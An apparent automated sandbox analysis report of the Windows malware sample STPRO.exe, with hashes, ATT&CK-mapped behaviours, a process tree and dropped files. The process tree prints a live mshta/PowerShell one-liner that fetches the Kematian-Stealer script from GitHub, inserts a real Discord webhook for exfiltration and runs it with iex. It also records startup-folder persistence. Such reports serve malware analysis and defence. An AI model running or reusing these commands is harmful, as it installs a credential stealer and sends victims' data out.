11a5fec617c1392259152a8c4a9e10a86bcb391c86e58a47dd6d7106973773c3

Analysis

max time kernel
133s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/05/2024, 10:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
STPRO.exe
Size 354KB
Sample240529-mqnttsce73
SHA256 11a5fec617c1392259152a8c4a9e10a86bcb391c86e58a47dd6d7106973773c3
MD5 418035b1c53fa5d36447fc49aafd5653
SHA1 03e2b24ac3ee0a0a4f3078305176388433208100
SHA512 a24f2ec217b089d7c91330cb5586da5799de0eda4a68b8df746e7070ed32fc049eb5cac2549f86ef1ec4e0a4e601505627e36c341934808470885da729846977
SSDEEP 3072:d7DhdC6kzWypvaQ0FxyNTBfQECAmAcOqOFRK9YUBgO9LJHc6XPCh6ZqI+2c1heCs:dBlkZvaF4NTB4EUAcr
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1452	powershell.exe
16	1452	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4160 wrote to memory of 4092	4160	STPRO.exe	83
PID 4160 wrote to memory of 4092	4160	STPRO.exe	83
PID 4092 wrote to memory of 4804	4092	cmd.exe	84
PID 4092 wrote to memory of 4804	4092	cmd.exe	84
PID 4804 wrote to memory of 3396	4804	net.exe	85
PID 4804 wrote to memory of 3396	4804	net.exe	85
PID 4092 wrote to memory of 4808	4092	cmd.exe	86
PID 4092 wrote to memory of 4808	4092	cmd.exe	86
PID 4808 wrote to memory of 1452	4808	mshta.exe	87
PID 4808 wrote to memory of 1452	4808	mshta.exe	87
PID 1452 wrote to memory of 2408	1452	powershell.exe	92
PID 1452 wrote to memory of 2408	1452	powershell.exe	92
PID 2408 wrote to memory of 988	2408	csc.exe	93
PID 2408 wrote to memory of 988	2408	csc.exe	93

C:\Users\Admin\AppData\Local\Temp\STPRO.exe
"C:\Users\Admin\AppData\Local\Temp\STPRO.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4160
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4882.tmp\4883.tmp\4884.bat C:\Users\Admin\AppData\Local\Temp\STPRO.exe"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3396
- - C:\Windows\system32\mshta.exe
    mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1244541077374107649/VlIS5McL0FjF05iAJW0GFV3L9DEF25jZaSU8MKeFhlDPXP95BjbTEji7ZwWv77Xa9xhj' | iex",0))
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1244541077374107649/VlIS5McL0FjF05iAJW0GFV3L9DEF25jZaSU8MKeFhlDPXP95BjbTEji7ZwWv77Xa9xhj' | iex
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1452
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3kxbvsq\j3kxbvsq.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2408
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EDB.tmp" "c:\Users\Admin\AppData\Local\Temp\j3kxbvsq\CSCD5B52501F61745A4AF2A8BAA85A84E1.TMP"
        6⤵
        
        PID:988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4884.bat

Path C:\Users\Admin\AppData\Local\Temp\4882.tmp\4883.tmp\4884.bat
Size 793B
SHA256 9122d54c694b1f9c98e913e13a894db3234d2d5092b3eee5181acf791f058959
MD5 540f4b0982fd7eca8f398e63f6fea214
SHA1 6bef0a9517df5589a48e8e512c544bcf4c990726
SHA512 5b8d3e957c2c2790e1bfcb635af2b14a1622ebc2f0dfe3b412d8611e3f31ef32816e5a9f847d69746552f6ed814b27821b134124b4bc97095209199d9077ec6b
MD5 SHA1 SHA512

Submit Download

RES4EDB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4EDB.tmp
Size 1KB
SHA256 ac7c681edc7f9eec0c8f2e2f350c7462624d34cb7d86a75bb54a923a5341cdd4
MD5 35f8920758bc28e69b4ea8b9a37e1244
SHA1 15a4b551d7efd721480465a4727603e5cfdec5d5
SHA512 88d307ea5ed0d5028b0e47f59eb4d5a3554fc6b03616a8b3dbae3ffd63fb41cb1555b1dc22e26a753d04d524d9e2bd95d4a0a03a7fe8ac89e5839fd20517d627
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_huppcd2j.sg5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huppcd2j.sg5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

j3kxbvsq.dll

Path C:\Users\Admin\AppData\Local\Temp\j3kxbvsq\j3kxbvsq.dll
Size 3KB
SHA256 1a98d2d7043aed2f485ee69808d4c7557ab161b62b36ab138dd42985cdab1fc1
MD5 61b98f87ea09940f599ba5841562abf9
SHA1 c751954d7139de86eabe8b9d1f53cbbdeb506bb4
SHA512 d07fc562f68d250560dbc507ee31800bfc65cdfd50ee8589cfba73b7b4a7e6e20bf1dabb6423bc7fa3dbb21b885c8ee9c37da769c5a0d50746e324a4c6e55a9f
MD5 SHA1 SHA512

Submit Download

CSCD5B52501F61745A4AF2A8BAA85A84E1.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\j3kxbvsq\CSCD5B52501F61745A4AF2A8BAA85A84E1.TMP
Size 652B
SHA256 7ef4b68eefab50ce6dca64f46046566f9d4f23bcb21a2d8b1ae8b5a80e9431ac
MD5 6c6c855cbde54ae14b6cf6c33cba753f
SHA1 077be54c97a2bcf52ff38b7fd89b9e8e4da661f4
SHA512 2e7324db5bbe5b64c93f45226d4cb515776498a494a856ddc73654779b8507359b038f1dea292b80f42e43926590eefb44095178c190072aec72dab5eaec686b
MD5 SHA1 SHA512

Submit Download

j3kxbvsq.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\j3kxbvsq\j3kxbvsq.0.cs
Size 512B
SHA256 fc874c6cbd59c24e83702e0cd6f301c4a929865687d8e0d041090a2bcd801a60
MD5 a36c5dbd22147371b4ea6ffacb560fb6
SHA1 e7248cd6a49d3aae9439efdffaceeacad6a7c523
SHA512 256b2e0beea6305f21024d60acdb0dcc84c2da46824d1c0610a9a22fa0e8c1753271140db278baf26e260c381f13001be1e8c651b01a178ca0922a2ab1bf4361
MD5 SHA1 SHA512

Submit Download

j3kxbvsq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\j3kxbvsq\j3kxbvsq.cmdline
Size 369B
SHA256 55608069d93f27e973847e46761df50a7fd3768426d3b9c1ee1505289d016980
MD5 307b4e365d86382ae6a0778e470c3b57
SHA1 e0790337541508be760a7c069aefb403c26a11cf
SHA512 374c690ba47473e51fae5188fa0979d2e4ec981466958390cf1ce3cdd541357a69e616a349ac80ce452dd1b8502ab09efbba17314aad319e3cf1e7c0c5c02afd
MD5 SHA1 SHA512

Submit Download

memory/1452-11-0x000002E4F86E0000-0x000002E4F8702000-memory.dmp

Download

memory/1452-28-0x000002E4F8DA0000-0x000002E4F8DA8000-memory.dmp

Download

memory/1452-30-0x000002E4F8740000-0x000002E4F895C000-memory.dmp

Download